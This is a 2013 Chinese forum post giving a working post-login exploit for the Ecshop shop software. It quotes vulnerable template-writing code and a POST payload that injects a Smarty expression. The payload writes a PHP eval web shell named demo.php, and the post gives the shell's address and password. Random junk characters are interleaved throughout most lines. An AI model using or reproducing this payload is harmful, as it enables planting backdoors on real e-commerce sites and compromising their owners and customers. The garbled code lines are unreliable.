找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2487|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 Z5 B3 W/ c$ o9 y+ ~( c, Q5 t; X0 B$ q, _; F5 T9 M3 ?% A% h
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
/ g! j- v9 j2 {, ~* q但是ecshop似乎不支持{php}{/php}这个标签来执行php代码/ {# |8 k% b4 s+ q; M* C
admin/template.php
! q* w& L. M( i% {
0 L$ L  E+ w; \- |1 if ($_REQUEST['act'] == 'update_library')   p' }; J6 `/ F) `

/ I5 D( n( l$ [3 D. N2   
, `0 Z7 P' p) ~# m* F; f' J3 ]# d' c& A! N6 ?) y/ c) _" Y
3 {
; S2 S% K' W1 _" @' J
3 t7 d: Y# w4 i6 v4     check_authz_json('library_manage');
7 A0 R6 g  J' ?7 Z' ]/ x' t3 W: {+ y, y, `5 Z9 j* @$ r- u/ z" p
5   
" t9 f, s5 H0 e! U: E
) S$ b' |( Y& R: I5 \6     $html = stripslashes(json_str_iconv($_POST['html'])); ) I/ i5 b# K9 r( |
! R1 V7 [5 D& Z! C9 v' v
7   
# B5 j7 x: v/ d1 S$ {( D. ]* |. W8 ^* M- f& }
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
+ I( @9 L) ]" h% o; a9 D
! u+ B- V1 n1 `( r9   
) z4 @9 J  N4 d# A, ^! Z
$ }4 X" I7 V3 q& _4 y10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 & t4 M0 C( E5 ^* R( U
$ k  A# o8 v: h/ u2 P  T
11   
: @- \: M' o# Z$ ]1 d7 }2 [  J( I& J3 ]
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); 3 b8 }6 U% X" r5 T+ H

5 k+ |1 v0 |5 F9 d13   
* I5 |! v$ l3 n8 \9 Q& ~1 _' b( @# @, F$ {% k& r, N
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
: m% V3 s& s" s1 v
& Q+ Y9 O' ]1 I- J5 X15     { $ ^5 _* E$ {4 Z

2 A! h7 `5 z1 l9 I16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); 2 p. m: E3 i# c

) d% _- t  d$ P4 _* x4 }17         make_json_result('', $_LANG['update_lib_success']);
$ n1 Y0 ?6 Y7 d. N7 v' g3 A
& y6 A9 H& t' {6 E$ R, H7 K- F18     } 9 o7 @+ o$ ^  \& I3 Q

: Y$ I7 ^" W. J4 u19     else
" n# I% b/ |% h& k; G! Q1 u5 q
; T0 _7 N+ S6 M) b2 T  q6 v! k20     { - Q  }- J" @- p7 o2 Q

& F( R, m( Y: [21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); " X3 f& ^! ]2 {- `) f; R+ H
5 b. R# x' G  `+ T) z* z. M# o9 p
22     }
$ T' V. q: e/ }5 t
" Z5 O/ t; M. q: S2 s$ u23 }
" K- N; V! T( N6 f* z4 K# q8 k2 ]- r5 {
那么找个比较方便调用了模板的文件
0 D1 u' M9 e! V! H; u% o: kindex.php
8 n/ f0 L$ T% J
! E2 ?( a- k! u6 d( U1 if ($act == 'cat_rec') 8 M5 `  p0 T& y! a! L8 b0 {/ H: G
! V7 _8 [" z( J3 }
2   ; _# b" W' [9 |6 b4 h! s. y

+ o! N6 c% T# p, W3 { 0 \; L4 w, O/ h: j

+ `6 E6 s6 H+ H; G* }) E- c4   ! d6 N$ K( L5 P
& f; `# D, P: g! z( I$ B
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
; q. g7 w" \+ H5 W3 z8 y: E: b) b4 A6 |" m6 w/ x& P
6   3 W1 [/ u  x3 v5 Y9 T

$ L* w; ^; R0 [$ l( N1 I! r; c7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 6 y5 K% y% z( Q  e
) h1 t: X1 L  @2 C3 R: [: ^
8   / O. m) D; k+ s) O) e8 [) m, E
' v  p" m, q& P- r$ j
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
$ F! g6 e2 O* `7 ~4 o; ~
% ?+ Y, F2 r( ^6 o9 u( m* I10   
/ }% Y3 G. m2 Q1 w& K/ y' ?2 J' r1 c1 F  C; d3 d3 L! `
11     include_once('includes/cls_json.php'); % t0 H( d4 X2 s" B) _& c  _. k

! |: r. o/ d- m12   
2 a. E4 B" X- |6 O
2 F3 w' `+ V. }6 w' t9 \: H+ M13     $json = new JSON;
. O& a3 A, @% ~' Y+ `& `
( s, Y7 a& N" T: C14   
( k& J. c5 H$ @/ g/ `& n0 B5 O& k$ u4 i# ^$ M$ g# b+ Z/ L
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 8 U# p3 n2 T; G8 Q5 |6 z' T

5 ]+ t) q" v0 d2 \& D0 i- x4 r16   
  r5 i2 C: B2 e* |0 l
  h! \% I- |* r% Z17     $children = get_children($cat_id); 7 l# _. D" D& m( i3 l. S0 j: _3 N

- b* r! ~1 L1 g3 Q0 ]18   
* G4 S2 C5 u5 w
  ^& b6 m# J" z3 E( j19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 ' H. {$ M& J0 [. V7 W" ]6 y/ z& {" w
, Z- C6 m4 h) ]2 C
20   
4 L' [$ u- H8 d# v% u$ ?7 |0 [
8 M* m. ^* ~% |4 Y* m21     $smarty->assign('cat_rec_sign', 1); 2 B+ Y& j* e8 Z" V, j. Q5 [2 H
4 r: c$ \2 [4 \' }
22   % l% a, R' o9 F+ \. O/ T% @
) a  P2 B; Z# ?2 f. Q
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
8 @' V7 z# s0 M+ \4 J5 U0 `
7 O3 B, g# J4 n4 T/ N# q24   
1 l7 J' Q: y4 r7 _- n6 s7 T+ L3 W
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; 2 ]) d- a) G+ ~# V; s, t8 B1 Y

$ {. ?( t' M0 E& u! S5 _26   . W# `& b& e; ?

, l$ g% e% U& R: D0 ?8 |% D6 P27         echo $rec_array[$rec_type];
7 g' t0 l0 Y# D. m$ F0 E: P
% f4 _3 N$ D  v! j- h' D28   ; {  _# W8 k/ S* r

7 H1 q; L& ?" n29     die($json->encode($result)); 0 I+ r* [4 R$ l! D4 i
: A7 N0 E5 S$ _) r; E
30   - M* E* Y3 Y  w
! o0 C  k3 m# O! p9 h
31 } ; x8 A5 u7 `1 L( Z

; {3 ~: h" Q6 N( ?那么就有利用方法了+ Q& z+ i. g3 K1 b0 ]
post包到http://localhost/ec/admin/template.php?act=update_library
0 A* j2 A* _6 R2 T7 X% RPost内容:* P2 r( K. M1 l* p! E! J; u, L9 @1 p
! p6 c* [! E2 \& ?5 X" k

2 \( ^: v% ]* M& r8 u$ t1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} % z" x, M+ B- M: M  W2 f/ X
) @0 S8 C0 w9 l- D4 X: t: f
然后访问http://localhost/ec/index.php?act=cat_rec2 `( M& o2 E+ {& H8 k

: M/ s. n' K5 y0 r9 T9 D" _2 Bshel地址:http://localhost/ec/demo.php
) c6 `; ^6 j: f: T9 U密码c6 g3 g- V/ P# [

/ r0 q8 A! B- Y" V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表